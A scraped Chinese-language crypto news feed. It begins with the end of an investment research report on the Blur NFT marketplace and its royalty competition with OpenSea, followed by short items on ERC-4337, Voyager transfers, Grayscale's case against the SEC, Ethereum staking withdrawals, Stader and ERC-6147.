2022年11月，OpenSea上线了交易市场黑名单（Blocklist）工具（包含Blur在内的多个不强制执行版税的交易市场），NFT创作者可以选择使用该工具，以屏蔽在不强制执行版税的平台上进行交易，但好处是OpenSea会对采用该工具的NFT合集强制版税收取，不采纳该黑名单的NFT合集可以在多个交易市场进行交易，但是OpenSea不会对买家强制执行版税。这一举措让许多创作者陷入两难境地，若选择OpenSea的黑名单，版税收入比例得到了保证但是会牺牲NFT在Blur、X2Y2等交易市场中的流动性机会，若选择了多个平台的流动性，就不得不牺牲部分版税收入。 2023年1月，Blur使用OpenSea的Seaport协议，巧妙绕过了上述黑名单工具的政策，意味着新发的NFT可以在采用OpenSea黑名单工具的同时，在Blur上进行交易。如此一来，NFT创作者们可以在OpenSea上征收全部版税，同时也可以在Blur上进行交易。 Blur最新的版税政策给了NFT创作者提供了3种选择： （1）选择一：不采用OpenSea黑名单工具的新NFT合集，Blur对这类新NFT执行最低0.5%的版税保护； （2）选择二：采用OpenSea黑名单工具的新NFT合集，Blur对这类新NFT同样执行最低0.5%的版税保护（因为Blur目前通过SeaPort协议绕过OpenSea黑名单）； （3）选择三：NFT合集若完全禁止在OpenSea上交易，Blur会强制执行完整的创作者版税（Full Royalties）； 此外，Blur还讽刺性地给出了目前尚不可执行的“选择四”：若OpenSea停止黑名单工具，Blur会与OpenSea一同执行完整的创作者版税政策，可以看作是Blur隔空喊话OpenSea取消黑名单政策。 细思其中的博弈逻辑，看似是“版税之争”，实则是价格拉锯战，因为当版税政策一致时（选择四：OpenSea取消对Blur黑名单），两个平台成本端的竞争就直接落到了交易手续费上，届时谁能够在价格战中坚持更久就更有可能获得更多用户和交易量。Blur采取的代币模型激励及去中心化的治理方式，在NFT社区参与治理、国库资金投放、流动性激励方面具有更多灵活性，使其在吸引NFT社区和创作者方面更加具备优势。 图片来源：Blur Mirror UI展示：Blur为NFT用户提供更全面的交易信息，降低用户在不同平台间切换的时间成本，进一步提升用户体验，数据看板的精细优化则为NFT交易者的决策提供了更好的辅助，利于交易频次的提升。 NFTGo在其最近发布的《NFT Annual Report 2023》中总结到，NFT专业交易者的习惯模式已经发生了变化，从原本先在社交媒体发掘项目，然后去OpenSea完成交易，发展到如今是发掘项目后，通过数据分析平台、聚合器调查后再进行交易。 Blur的UI界面类似Bloomberg，为NFT交易者提供了多维度的交易信息，包含历史交易走势、交易深度、挂单信息、要价情况以及NFT合集自身的基本信息，包括发行总量、版税比例、持有者占比等。一览无余的UI界面使得交易者不再需要去多次对比其他交易市场、数据分析看板的信息，也无需跳转多个页面获得判断交易所需的信息。在设计方面，Blur专业化的展示体现了团队对NFT交易者细致入微的了解。 横向比较来看，同属聚合器赛道的Gem以及已经集成到Uniswap的Genie，在产品设计方面差距甚远。交易者仍需跳转多个界面获得数据和信息，看似更全面的信息展示，实际存在较高的信息冗余，用户选择和等待的时间提高了交易摩擦，降低了交易频率。其中，Gem的展示界面直接集成了Dune Analytics的数据展示、Bubblemaps的持有者地址的图谱功能，数据的全面性不错但直观性欠佳，且数据真实性也完全依赖第三方。相比之下，Blur仅提供了有限的信息和数据，但是聚焦在NFT交易的关键信息上，信息的直观性、可读性更高。Blur团队对NFT用户交易习惯的了解、对NFT行业痛点的认知，都体现在了专业和贴心的产品设计中。 Blur持续改变NFT行业交易范式的野心从近期UI优化中可见一斑。当前的UI设计简化了用户的交易流程，但其业务版图目前仅覆盖了交易市场，重心更多在NFT的二级交易，NFT初阶用户一开始还是会将OpenSea作为跨入NFT世界的第一站，因为OpenSea有其更加NFT小白友好、多链、多品种的优势。Blur在2023年2月17日，更新增加了“Trending”（趋势潮流）看板功能，用户可以直接在Blur上看到近期火热的NFT项目，将NFT市场更一线和更早期的交易信号也纳入展示范围。 我们可以看到Blur在朝着One-Stop-Shop一站式平台的方向发展，协议中积累了大量用户后，当用户使用习惯逐渐养成后，配合不同业务的交叉销售，Bulr对NFT市场的影响力会进一步增加。 图片来源：Blur官网BAYC系列 合集出价功能（Collection Bidding）： Blur除了拥有和其他竞品一样的扫货（Sweeping）、批量上架（Bulk Listing）等功能以外，其针对一个NFT合集推出的出价功能赢得了众多NFT专业交易者的喜爱。 其他交易平台上的出价功能仅能针对单一NFT或者干脆没有该功能，抽象类比到FT的交易中，意味着市场中只有卖单信息是透明公开清晰的，但交易者对某一NFT合集的买单需求情况是没有清晰了解的渠道的。Blur的合集出价功能填补了这一关键的市场信息、功能空缺。在设计该功能时，Blur也开启被盗NFT保护功能（Stolen NFT Protection），避免被盗NFT被出价买走的情况。 Bid功能使得用户可以直接用ETH资金进行出价，省去了在某些平台需要将ETH兑换成WETH再进行交易的繁琐流程，进一步节省了用户的交易时间。 因为UI界面酷似Bloomberg、具有代码风格，Blur的Pro-Trader-Friendly （专业交易者友好）的特色非常鲜明，但这也与其初期产品定位在服务于NFT专业交易者、NFT Flippers的利基市场（Niche Market）有关。在NFT行业，已经初步形成了以以太坊上蓝筹PFP资产为主、大量腰尾部NFT资产为辅的格局，用户群体中也逐渐形成了一批经验丰富的NFT炒家、专业交易者和做市商，这部分人群虽不是推动NFT “Mass Adoption”的一线力量，但他们掌握了大量的蓝筹资产、对NFT炒作/Flip的专业经验、且是行业流动性的主要来源。这部分利基市场也是NFT市场中最活跃的玩家，掌握了这部分用户，也意味着掌握了NFT中最核心的用户群体。NFT用户市场众口难调，Blur没有选择更多小白用户、新用户友好的简单可爱的UI设计，选择了代码风格的界面看板，切入专业级的市场，掌握的是更加活跃、资金体量更大、流动性动力更强的高价值交易用户。后期随着用户增长，新用户也有望逐渐转化成为高阶玩家。 对于NFT巨鲸、高频交易者、NFT Flippers、专业交易者、NFT基金、NFT做市商而言，以往一直缺少比较一站式好用的工具和产品，Blur的出现为专业玩家解决了这一痛点，专业的细节设计带来了全新的用户体验，在社区内获得了极佳的口碑，得到了用户口口相传的好评。 创始人@PacmanBlur在公开的采访中曾提到，相比短期内零协议收入，Blur更加重视早期用户增长和创造给用户带来真实价值的产品，好的产品不会担心长期变现的方式，早期用更低的成本、更快的速度和更直观的产品争夺用户。 2023年2月18日，OpenSea宣布短时间内实施0%交易手续费的政策，同时对于所有NFT合集都采用可调节式的版税政策（此前是仅针对新的NFT合集），最低版税水平0.5%（与Blur最低版税线一致），并且取消了对Blur的黑名单工具。这一行为已经足以证明，OpenSea感受到了Blur对它造成的巨大威胁，不得不采用更低的费用、更灵活的版税政策来做抵抗。（备注：合约中已经采用了链上强制实行版税收取的NFT合集不适用可调节版税政策。） 图片来源：OpenSea Twitter 4. 运营技巧方面，持续的空投预期与产品新功能的节奏完美契合，牢牢锁定用户和市场关注度 Blur发币前的运营策略也值得所有创业团队学习。加密货币领域的“空投文化”一直能够吸引较多的流量和关注度，但是能够把代币空投作为工具并把价值发挥到极致的，Blur算是一个比较成功的案例。 并不是说“空投”都是有效的、有益的，也不是照搬Blur的空投模式一定会再次成功。Blur运营上的成功，在于团队深谙用户对于空投的预期，并利用预期设计了良好的节奏匹配新功能进行宣传，沉淀为长期的社区绑定关系。 $BLUR的代币经济学体现了团队长期建设项目的目标和去中心化治理的愿景。创始人@PacmanBlur曾在Twitter Space中多次提到，Blur的代币经济学设计是由团队与投资人Paradigm共同合作设计，借鉴了不少其他DeFi项目的代币经济学模型（包括Uniswap、GMX、dYdX等）。从代币经济学文档中看出，团队深知代币是联结社区的桥梁，大部分的代币（51%）最终都会分发给社区参与者，其构成如下所示。 团队非常重视社区去中心化参与协议未来治理，给与社区51%的代币，也非常重视回馈和奖励创作者、NFT社区、社区贡献者，代币经济学也为NFT创作者留足了激励空间，有利于协议期吸引NFT创作者和社区。 图片来源：Blur官方文档 Web3.0 投资 1. Web3.0急需Mass Adoption的不是用户，而是优秀的创业者、开发者 NFT诞生于2017年，由加密猫CryptoKitties的创始人Dieter Shirley提出，为了让市场区分CryptoKitties与ERC20的区别，将NFT非同质化代币的概念推向市场。2018年OpenSea成立，2021年末Gem成立，2022年X2Y2、LooksRare诞生，NFT市值在2022年曾达到346亿美金的最高水平（2022年5月），然而NFT交易平台中的最基本的买单集中信息展示直到2022年第四季度才由Blur向市场推出，让身处加密货币投资机构的我再次意识到，行业优秀的创业者太少，真正最迫切需要Mass Adoption的不是用户，而是优秀的创业者、开发者。 Blur的创始人近期解除“匿名”状态，公开展示了自己过往的经历。在各种采访和公开信息中我们可以知道，@PacmanBlur具有工程师教育背景，2016年第一次创业就成为了Y Combinator 2016年冬季批次的项目之一，此后他去MIT学习数学和计算机科学时期遇到了Blur的联合创始人。2018年，当他们还在MIT读书期间，两人一同创业，并且在2021年把公司成功出售。结束了上一段创业后，两人很快就开始Blur项目的创业，因为@PacmanBlur自己在2021年的时候着迷于NFT交易，但作为用户的他觉得市场中缺乏从交易者角度去思考和设计的交易市场、NFT基础设施，所以产生了Blur的想法。Blur的10人团队也是人才济济，包含7名工程师曾来自于Citadel、Five Rings、Twitch团队，以及1名来自Square、Brex的设计师。总的来说，Blur团队具备传统金融行业的交易公司、大型流媒体平台的开发经验和知名公司的设计经验，是Blur能够推出广受用户欢迎产品的良好基础，两位创始人过往的创业和合作经历也为再度合作、管理团队、融资做了充分的铺垫。 Blur团队于2022年1月成立，5月开始产品内测，10月产品公开测试，项目成立一年左右发币。项目的节奏在加密货币圈不算非常快，但是可以看出团队自始就有清晰的产品思路，在熊市大环境下始终保持着开发产品、推出新功能的节奏。尽管在Blur上线之前已经有许多NFT交易市场率先抢占市场，但行业痛点一直存在，一直未被现存的竞争者所解决。对于创业团队来说，赛道竞争是需要考虑的一方面，但是按照第一性原理，重心更应该在于“解决行业痛点”。如果产品足够优秀，可以改变赛道原有竞争格局，厚积薄发，甚至引领行业的趋势和发展。 都说成事需要“天时、地利、人和”，Blur没有选择在完美的时机（牛市）上线产品，甚至连发币都没有等到牛市来临。但从结果看，Blur已经获得了阶段性的胜利，甚至成为了熊市期间自主制造叙事的项目。无论产品上线、发币时间是在熊市还是牛市，对于足够优秀的产品和团队差别不会非常大，但对于普通项目可能会有天差地别。这是笔者观察到的所有成功的创业团队都具备的自信。 很多人看好Blur的一个原因是资方背景中有亮眼的Paradigm，但笔者更觉得这个组合是“互相选择”和“共同成长”。团队对于先增长再考虑收入的远见，与Paradigm长线投资风格一致，像是两个“长期主义者”的结合。在代币经济模型设计方面，Blur也与Paradigm一同合作，相信在过程中借鉴了不少Paradigm研究团队之前在Uniswap等其他项目的代币设计经验。两支优秀团队各自发挥优势，帮助彼此成长、互生共赢，互相带来价值的过程，是值得从业者们参考和学习的。 反思在研究Web3.0一级项目的工作中，时常能听到两种极端的故事：（1）某项目A：各家知名加密货币基金争抢份额；（2）某项目B：无人问津，融资N月未果。在互相选择的阶段，倒追和被追的故事比比皆是，但从没有“最正确”的选择，只有当下“最合适”的选择。在这个信息不对称、不充分的市场，投资人和项目方都需要衡量好自己的价值和需求。对于投资人来说，确定好自己的投资赛道和方向，同时提升自己能够给项目和行业创造的附加值，能够更加精准匹配标的项目；对于创业团队来说，每一分融资带来的杠杆效应也不一样，选择与自己志同道合的投资人，在漫漫创业路上也可以避免很多不必要的争论。 反思在投后项目的跟踪中，尚有可以做的更好的地方。加密货币行业从业者整体都年轻，创业者、投资人难说谁更有经验和认知。但无论是哪方，都需要有对行业的长期信仰和耐心，冷静对待市场噪音，有独立自主的判断，不断打磨自己对赛道和行业的认知，给用户和行业带来力所能及的价值创造，相信这个市场不会辜负在正确的方向上努力的每个人。 围绕Blur的潜在投资机会在哪里 1. 代币投资 $BLUR代币当前流通市值约为3亿美金左右（2023年3月1日，流通量13%左右），全流通市值FDV为25亿美金左右。根据我们对Blur的估值，当前$BLUR属于偏高估区间，已经包含了市场对Blur项目的未来较高的预期。代币投资仍需考虑上述Blur面临的各种风险和挑战，以及宏观因素的转向。 2. NFT投资 自从Blur去年10月上线以来，NFT市场交易量提振不少，流动性增加也使得交易员投资买卖的意愿更强，更多的套利、交易机会随之增加。Blur 2月14日开启第一轮代币空投领取的同时，也宣布了第二季的活动，可以明显从数据上看出，交易者们也在积极参与“连环空投”活动，2月15日交易量较之前有明显增长。预计在Blur持续进行的第二轮空投活动期间，NFT市场还将保持同等热度。 图片来源：NFT Marketplaces Dune Analytics – SeaLaunch 更加高阶一些的NFT交易，还可以配合NFT-Fi工具进行杠杆和风险对冲。NFT期货产品包括NFTPerp、NFEX、Tribe3等。部分NFT交易员为了得到更多的空投，会频繁大量在地板价附近挂单或要价（Collection Bid），期货协议可以帮助对冲交易达成后NFT价格上涨下跌带来的风险，也可以使得NFT投机者在NFT市场流动性较好的时候，给交易策略增加杠杆。 当然，许多NFT-Fi协议还处于早期阶段，也会存在一定使用成本，投资者需要自行计算，平衡收益与成本后设计交易策略。NFT市场走向成熟的过程中，做市商业务也逐渐兴起，在NFT市场中也存在庄家拉盘导致散户交易者被套的情况，提醒投资者注意NFT交易风险（本文不作为投资建议）。 3. Blur及Paradigm生态合作 Blur项目自身的强大也会有反哺合作方以及Paradigm投资其他标的的可能。2022年10月底Blur刚上线时，Paradigm与Justin Roiland合作的社会实验项目Art Gobblers开启Free Mint活动，地板价一度飙升至14 ETH。Blur的投资人和帮助Blur宣传的KOL可以直接参加Free Mint从中获益。从这一事件看出，Paradigm和Blur关系紧密，不排除未来还会有互相造势、互相贡献流量的运营策略。Paradigm也曾投资多个DeFi、NFT、公链、MEV项目，旗下的项目和产品或许未来还会有与Blur进一步合作的可能。 小结 Blur拥有一支意在真实解决行业痛点和长期建设的团队，在Paradigm的长远眼光和代币经济学模型的专业认知加持下，我看到了Blur进一步改变NFT交易范式、颠覆NFT市场格局的未来。 信息来源 Blur官方Mirror Blur官网 Blur Escalates Royalty Battle With OpenSea, Recommends Blocking Platform – CoinDesk OpenSea Launches First Royalty Enforcement Tool Amid NFT Marketplace Drama – CoinDesk @pandajackson42 关于Blur的Tweet Blur Tokenomics代币经济学解读 – @jessicaxyshen Blur – the NFT marketplace for pro traders | Interview with Pacman | Token Terminal Blur Foundation代币经济学文档 交易市场概览 – NFTGo NFT交易市场Dune Analytics – SeaLaunch Blur空投领取、未来路线图页面 Blur Rugs OpenSea – Web3 Academy Blur代码库 @0xPrismatic关于Blur、OpenSea的推文 Delphi Digital关于Blur的分析推文 0xKofi对于Blur的推文 Chris Dixon与Fred Ehrsam2017年的访谈记录中文版 致谢 本篇研报离不开@xuxiaopengmint@fanyayun的建议和审核。感谢@MasterXDai对产品护城河、NFT交易市场赛道、代币经济学模型等角度的讨论和思路指引。另外，非常感谢@BTCdayu对报告的及时指正！  ( 6 min )
    数据：Voyager今日转出价值共计3580万美元的加密货币
    PANews 3月8日消息，据推特用户Bit余烬监测，Voyager今日转出价值3580万美元的加密货币，分别将7000枚ETH（约合1094万美元）、622万枚MATIC（约合703万美元）转入Coinbase，将7000枚ETH（约合1094万美元）、250万枚FTM（约合101万美元）、200万枚IOTA（约合42万美元）、40万枚ONT（约合9万美元）转入Binance US，将3000亿枚SHIB（约合333万美元）、1164枚ETH转入加密货币做市商Wintermute，将10万枚DYDX转入Kraken（约合22万美元）。不过Voyager今日没有从交易所提取加密货币。 据悉，自2月14日以来Voyager几乎每天通过Coinbase出售加密资产。此前今日早些时候消息，法官批准Binance.US收购Voyager Digital资产，但交易仍需清除监管障碍。  ( 4 min )
    预览ERC-4337新特性：Web2级丝滑体验离我们还有多远？
    原文：《V神看好的ERC-4337即将上线，都有什么新特性？》 作者：Leo 对于加密原住民来说，钱包安全一直是令人头疼的问题，丢失私钥、助记词，丢失资产，无法授权等都会导致用户失去对自己资产的所有权；而对于加密新人来说，很难同时弄清这些不同的概念，且交易期间频繁地授权批准也会使加密新人感到复杂。这间接地提高了进入 Web 3 的门槛，而即将到来的 ERC-4337 标准的诸多特性正是可以帮助用户解决这些问题的新标准，也是可以普及加密的必要之路。 以太坊作为开发人员最受欢迎的基于区块链的计算平台，供开发人员基于其构建和部署去中心化应用，此前宣布将推出一个名为 ERC-4337 的新标准，该标准旨在善用户体验，防止私钥丢失，优化交易流程等。 ERC-4337 是由以太坊创始人 Vitalik Buterin 联合 Yoav Weis、Dror Tirosh 等人发布的账户抽象提案。该提案旨在使以太坊钱包更加友好（对用户），并防止任何密钥丢失。Vitalik 和他的团队提议将用户的外部拥有账户（EOA）变成智能合约账户（CA），这将允许使用户保持对他们的加密货币访问的内置机制。 通俗地讲，ERC-4337 标准旨在使以太坊钱包更易于使用，并帮助防止用户失去对加密货币的访问权。为实现这一点，以太坊的创建者提议将钱包变成智能合约。智能合约具有内置机制，可以帮助用户保护其加密货币的安全，即使他们忘记密码或丢失私钥，这一关键功能包括要求多人批准交易的选项，以及一个系统，其中多个用户可以在有人丢失其私钥时帮助恢复其对帐户的访问。 以太坊有两种不同类型的账户，外部拥有账户（EOA）与合约账户（CA），简单来说，EOA 由公钥和私钥组成，就像 MetaMask，通过助记词、私钥，用户可以对账户进行交易、访问。 而对于 CA 来说，合约账户是没有私钥，智能合约是由其中的代码逻辑控制，它们不受用户控制。这里的关键问题在于可以通过代码定义合约账户做什么，而 EOA 是用户控制用来做什么，一个是用户手动，一个是基于用户想法下的自动。智能合约有能力做任何你可以用代码编写的事情，而 EOA 基本上只能签署交易。 而现实是，「Not your keys, Not your crypto」，你如果丢失或被盗了私钥、密码，你的资产就不再是你的资产了，用户并未对自己的账户有着绝对的所有权，仅仅是通过这些密钥、密码来暂时拥有，一旦丢失，分币不剩。 而 ERC-4337 作为一个新标准，可以解决以上的账户缺陷或者说是可以完善用户体验。 账户恢复 ERC-4337 标准提供了几个关键特性，使其从其他标准中脱颖而出。它的主要特性之一是社会恢复系统，传统的以太坊账户用户需要记下并秘密保存 12-24 个英文单词、私钥。如前文所述，若账户所有者丢失私钥或者相关密保，那么账户无法再次找回，而该系统使多个用户能够恢复所有者对帐户的访问，降低了资金永久损失的风险，并提供了额外的安全保障。例如，用户可以选择受信赖的人来帮助关联自己的账户，类似于传统银行业务，这也大大增加了加密的主流采用。 多签功能 ERC-4337 的另一个关键特性是能够创建多签钱包，此功能需要多个用户签署交易，提高系统的安全性和信任度。此外，该标准合并了外部拥有账户（EOA）和合约账户（CA），使以太坊钱包更加安全和用户友好。例如，用户可以指定一组特定的人（律师、家庭成员、信任的朋友），如果他们都同意，就可以访问该帐户。还可以使用生物识别等类似于智能手机的功能来控制对帐户的访问。 Gas 优化 ERC-4337 还有 Gas 帮助支付功能，用户还可以使用不同的 toekn 甚至链下信用卡进行支付，因此无需 ETH 即可进行交易，现在任何类型的系统或个人 Gas 支付方式都是可能的。此外，还允许其他人来为你支付 Gas 费，无需钱包中的必要的 Gas。这种做法会带来很多好处，尤其是针对新用户入行时，比如，新用户在一些交易过程中，你可以帮助他支付 Gas。 预先批准交易 ERC-4337 的一个使用案例是预先批准特定时间段和/或特定 Dapp 的交易批准的能力。可以想象：用户在 L 2 上玩一款链游，不需要用户每次买/卖东西都经历签名过程，而是有着基于预先批准的自动和无缝的交易体验，这会增加 Dapp 的流畅体验，且更加人性化。 捆绑交易 捆绑交易也是 ERC-4337 的一个重要特性，它允许用户将多个交易捆绑在一起，只需要一次签名就可以完成交易需要的所有过程。例如，用户在 Uni 上进行 swap 或者添加流动性，其中授权，不同的 token 授权，允许 swap，添加流动性等阶段都需要钱包确认，而捆绑交易一次性解决了这一过程的频繁确认问题，增加了交易效率。 订阅模式 ETH 的订阅模式是指以太坊网络提供的一种机制，允许开发者订阅特定的事件或数据更新（合约事件订阅、区块链数据订阅），当这些事件或数据更新发生时，以太坊网络会自动通知开发者，这种机制可以帮助开发者更轻松地实现实时数据同步、实时通知等功能。以往的 ETH 订阅是需要钱包批准后由智能合约执行，而 ERC-4337 通过本地集成简化了这一过程。 ERC-4337 对于加密原住民和想要进入加密的新人来说是一项变革性的技术，对于加密的普及很有帮助，通过 ERC-4337 加密不再是「高高在上」和「难以触及」，而是任何人都可以进入的领域，All in Crypto 到 All people in Crypto 的那一刻不再遥远。  ( 4 min )
    Jack Dorsey旗下支付公司Block计划构建比特币挖矿开发工具包
    PANews 3月8日消息，Jack Dorsey旗下支付公司Block在官方博客上表示，其正在考虑构建比特币挖矿开发工具包或MDK，目前设想的MDK将包括：1.强大、可靠、工业级的比特币挖矿算力板；2.专为与算力板配合使用而设计的定制控制器板；3.开源固件、软件API和Web前端；3.丰富的参考资料和支持文档，方便算力板的轻松定制。Block将在接下来的几周和几个月内进一步更新其挖矿硬件计划。 文章表示：“MDK旨在是为开发人员提供一套工具，以帮助释放比特币挖矿硬件的创造力和创新。我们预计MDK对专注于将比特币挖矿集成到各种新用例(如加热解决方案、离网挖矿、家庭挖矿或间歇性电力应用)的开发项目非常有用，以及为传统商业挖矿操作优化比特币挖矿硬件。通过MDK，我们看到了增加比特币挖矿硬件的可访问性和开放性的重大机会，以加速该领域的创新。”  ( 4 min )
    灰度诉美SEC案开庭首日，法官质疑SEC拒绝灰度的现货比特币ETF申请
    PANews 3月8日消息，据路透社报道，美国联邦上诉法院法官周二质疑美国证券交易委员会 (SEC)拒绝Grayscale Investment（灰度）的现货比特币ETF申请是否正确，因为该机构此前已批准比特币期货产品。华盛顿哥伦比亚特区上诉法院的一个法官小组就灰度的论点向美国证券交易委员会施压，该委员会称，由于监管机构此前批准了某些监管协议，以防止基于比特币期货的ETF出现欺诈行为，因此同样的设置也适用于灰度的现货基金，因为现货和期货基金都依赖于比特币价格。 法官Neomi Rao表示：“对于一个机构来说，我们需要更多信息，但似乎这里有很多关于这些市场如何协同工作的信息，而美国证券交易委员会没有提供任何解释。”灰度首席法律顾问、奥巴马时代的美国总检察长Donald Verrilli Jr.在法庭上表示，比特币现货ETF将“更好地保护投资者”，因为根据与比特币期货交易场所芝加哥商品交易所达成的监管协议，比特币现货ETF将让投资者受益于监管。 此外，据The Block报道，灰度与SEC之间的裁决可能需要等3到6个月的时间。彭博高级ETF分析师Eric Balchunas发推文称：“我们的高级诉讼分析师在今天上午（当地时间）听完灰度与SEC辩论后，将灰度公司的胜算从40%提高到70%。”数据显示，GBTC现报12.9美元，单日涨幅达9.6%，目前负溢价收窄至42.11%。  ( 4 min )
    Consensys发布《ETH质押提款指南》并推荐选择部分提款，届时将推出纪念NFT
    PANews 3月8日消息，Consensys发布《ETH质押提款指南》，指南中提到，Shanghai/Capella升级的主要成果是允许质押者提取他们质押的ETH，但更具体地说，它将提供与提款相关的三个关键功能：1.能够将以太坊验证器的取款凭证从旧的0x00类型（源自BLS密钥）更新为较新的0x01类型（源自以太坊地址）。2.部分提款，或从活跃验证者的余额(超过32 ETH)中定期自动“退出”获得的共识层奖励。3.全额提款，或收回“退出”验证者的全部余额。只有具有较新的0x01类型提款凭证的验证者才有资格进行部分和全部提款，然而，目前还没有这样做的必要，因为0x00认证的验证者将继续像信标链诞生以来那样获得奖励。请注意，一旦验证者将其取款凭证从0x00类型更新为0x01类型，就无法再更改。这是从0x00到0x01类型的提款凭证的一次性单向更改。 部分提款使质押者受益，因为质押者可以定期访问他们的验证者获得的CL质押奖励（扣除任何罚款），而不会产生任何gas成本，也不必退出他们的验证者。此外，由于以太坊验证者的有效余额上限为32 ETH，因此验证者余额上的任何剩余ETH都是无用的。部分提款允许质押者访问这些过剩的、非生产性的ETH，并将其重新部署以激活新的以太坊验证器或其他地方。部分提款也应该通过防止过长的退出队列和过多的验证者流失而使以太坊网络受益，这可能会破坏网络的稳定性。 目前，58%的人拥有0x00类型的取款凭据。在剩下的42%中，使用0x01类型的取款凭证，大约61%（或所有以太坊验证器的25%）由Lido验证器集操作。 此外，为庆祝升级，ConsenSys将在3月下旬/4月中旬升级上线时推出其第二个纪念NFT系列，并邀请Web3爱好者通过领取NFT参与。 相关阅读：以太坊官网更新上海升级提款信息，有哪些要点值得注意？  ( 4 min )
    3分钟读懂Stader：会成为LSD黑马吗？
    撰文：Poopman 编译：0x11，Foresight News LSD 战争正在迅速升温。如果你正在寻找下一个隐藏的宝石?，我为你准备了年度最大的 Alpha。Stader 可能会成为质押游戏规则的改变者。 在这篇推文中，我将介绍： Liquid Staking 一直是以太坊生态的一个重要领域，但它面临着一些重大挑战：中心化?和可扩展性↔️。 中心化 Lido、Coinbase 和 Kraken 控制着超过 50% 的 ETH 质押量，其中 90% 委托给了获许可的运营商。 可扩展性 由于以太坊抵押质押门槛高 ，具有无许可节点的 LSD 服务难以满足普通用户需求。 为解决这些问题，多链流动性质押协议 Stader 引入了「ETHx」，它大大降低了无许可节点运营商的门槛，仅仅只需要 4 ETH。 它是如何做到的呢？答案是：多池架构和分布式验证器技术（DVT）。 多池架构 每当用户存入 ETH 时，Stader Pools Manager 将铸造 ETHx 作为回报，并将存入的 ETH 部署到以下质押池之一： 无许可质押池 无许可模型意味着不需要白名单就可以运行节点。在这个池中，Stader 允许节点以同行竞争者中最低的保证金要求（4 ETH）运行。但这怎么可能呢？ 通过与 SSV 合作， Stader 模拟极端运行条件并得出结论，4 ETH 足以覆盖所有关键的尾部风险，包括 DVT 在这些情况中扮演着重要作用。 分布式验证器技术 (DVT) DVT 允许验证器的职责分散在多个节点之间。因此，即使其中一台机器离线或出现故障，验证器也可以继续运行而不会中断。 通过利用 DVT 的高容错率，减少罚没的可能性，Stader 将无许可节点所需的保证金降低到 4 ETH。（了解 DVT，请参阅。） DVT 的实施可以增强 LSD 的去中心化和可扩展性。归功于较低的进入门槛，更多的验证者可以安全地加入网络。 但是，目前尚不清楚串通攻击的后果以及实际发生削减的情况。 为了防止早期无许可节点引起的可扩展性问题，Stader 为 ETHx 补充了社区认可的许可运营商。这有助于确保 ETHx 在早期的稳定表现。 ETHx 代币经济模型分两个阶段。 要为 Stader 运行一个节点，每个验证者必须存入 4 ETH 和价值 0.4 ETH 的 SD 代币作为抵押品。 额外质押的 SD 在削减发生的情况下充当保护机制，类似于@Rocket_Pool。 SD 激励 为了激励节点运营商，Stader 将在第一年为验证者发放价值约 100-200 万美元的 SD 代币。 SD 激励数量取决于节点运营商每月质押的 SD 比例（每个验证者最多质押价值 8 ETH 的 SD 代币）。 除了 SD 质押激励之外，用户还可以从其他用户质押的 28 ETH 产生的质押奖励中获得 5% 的佣金。 与其他 LSD 方案相比，ETHx 为质押者提供了更高的收益率，只需要更少的资金。（了解更多信息） 节点运营商可以无抵押借入 SD 用于质押。借出 SD 的人可以获得 10% 的节点佣金，并获得额外的 SD 激励。（了解更多） ETHx 质押将推动对 SD 代币的需求，因为它是运行节点的要求之一。正如@NagatoDharma 指出的那样，SD 价格仍比其 ICO 的 3.3 美元低 65%。在当前 TVL 为 115M 的情况下， SD 代币可能被低估了。  ( 5 min )

  • Open

    将结合 Web3 的足球游戏公司 Matchday 完成 2100 万美元融资，梅西旗下基金 Play Time 领投
    将结合 Web3 的足球游戏公司 Matchday 完成 2100 万美元融资，梅西旗下基金 Play Time 领投 据 Fast Company 报道，专注于足球比赛的互动娱乐初创公司 Matchday 宣布完成 2100 万美元种子轮融资，梅西旗下基金 Play Time 领投。Matchday 计划将 Web3 和移动游戏结合起来，创建一套由 FIFA 授权的足球游戏，吸引更多球迷用户。首款游戏预计将于今年第二季度发布。 内容来源 观点： Sebastien de Halleux（Matchday 首席游戏官）：我们相信真正的所有权对于为游戏玩家创造一系列新体验非常重要。对我们来说，这都关于可访问性。我们正在谈论将数以亿计的球迷带入我们的游戏，他们甚至不知道 Web3 是什么，我们的座右铭是「让复杂性消失」。【原文为英文】 内容来源 Derrick Ko（Matchday 首席执行官）：我们的长期观点是，游戏的数字所有权是未来将会发生并存在的事情。区块链是实现这一目标的一种方式，是我们现在的解决方案。我们不认为自己是一家 Web3 公司或 Web3 游戏。我们「使用它」与所有游戏都使用现有的最新技术来实现新体验一样。【原文为英文】 内容来源
    解读最新 Final 的 ERC-6147：极简的半强制性 NFT 产权分离标准
    Chainfeeds 导读： 2023 年 3 月 7 日，由 10K Universe 提出 EIP-6147 移至 Final 版本。该标准是 ERC-721 的扩展，分离了 NFT 和 SBT 的持有权和转让权，并定义可设置到期时间的「守卫者」角色 Guard，可使 NFT 防盗、借贷、租赁、SBT 等更灵活。本文系统讲述 ERC-6147 的实现机制，对比往期 NFT 租赁协议专案 ERC-4907 和 ERC-5055，综合分析点评此协议及适合的应用场景。 文章来源： https://mp.weixin.qq.com/s/dbOqW0UdWgdPxwTK4TMowQ 文章作者： 十四君 观点： 十四君：ERC-6147 定义了 Guard（守卫者）角色，和 4907 的 UserInfo 很相似。Guard 有该 NFT 当前所有者及有代扣权限的地址，可通过 changeGuard 设置。设置成功后，都可以通过 guardInfo 查询。沿用了 4907 基于时间戳的设计，到期无需二次上链交易，自动失效。 内容来源 十四君：对于设置了 Guard 的 NFT，进行 transferFrom 时会查询交易发起方是否为守卫地址，是才能转移。原持有者只有持有权，没有转移权。使用原生 transferFrom 或 safeTransferFrom 转移 NFT 后守卫设置并不会自动清除，如果后续使用 Guard，需检验是否使用 transferAndRemove 在转移后清除守卫者信息。Guard 不能设置代扣。一方面是因为本质上该 NFT 的转移权被限制到 Guard 上，不需要考虑代扣授权者。另一方面是 Guard 不能设置 Approve，以防守卫者归还转移权后转移 NFT。 内容来源 十四君：对比于同样重磅的 4907 而言， 6147 更多是强在兼容性的优化。另外，6147 也提出了「可管理的 SBT」和「有效的 SBT」概念。现在的 SBT 提案设计太注重 Vitalik 提出的「不可转移」特性，忽略了 NFT 的潜在管理场景，比如社交恢复、收回 SBT（比如学术不端收回学位，或 DAO 成员在社区作恶，需要收回其 SBT 权限）。 内容来源  ( 33 min )
    Nansen 推出多链数据访问产品 Nansen Query
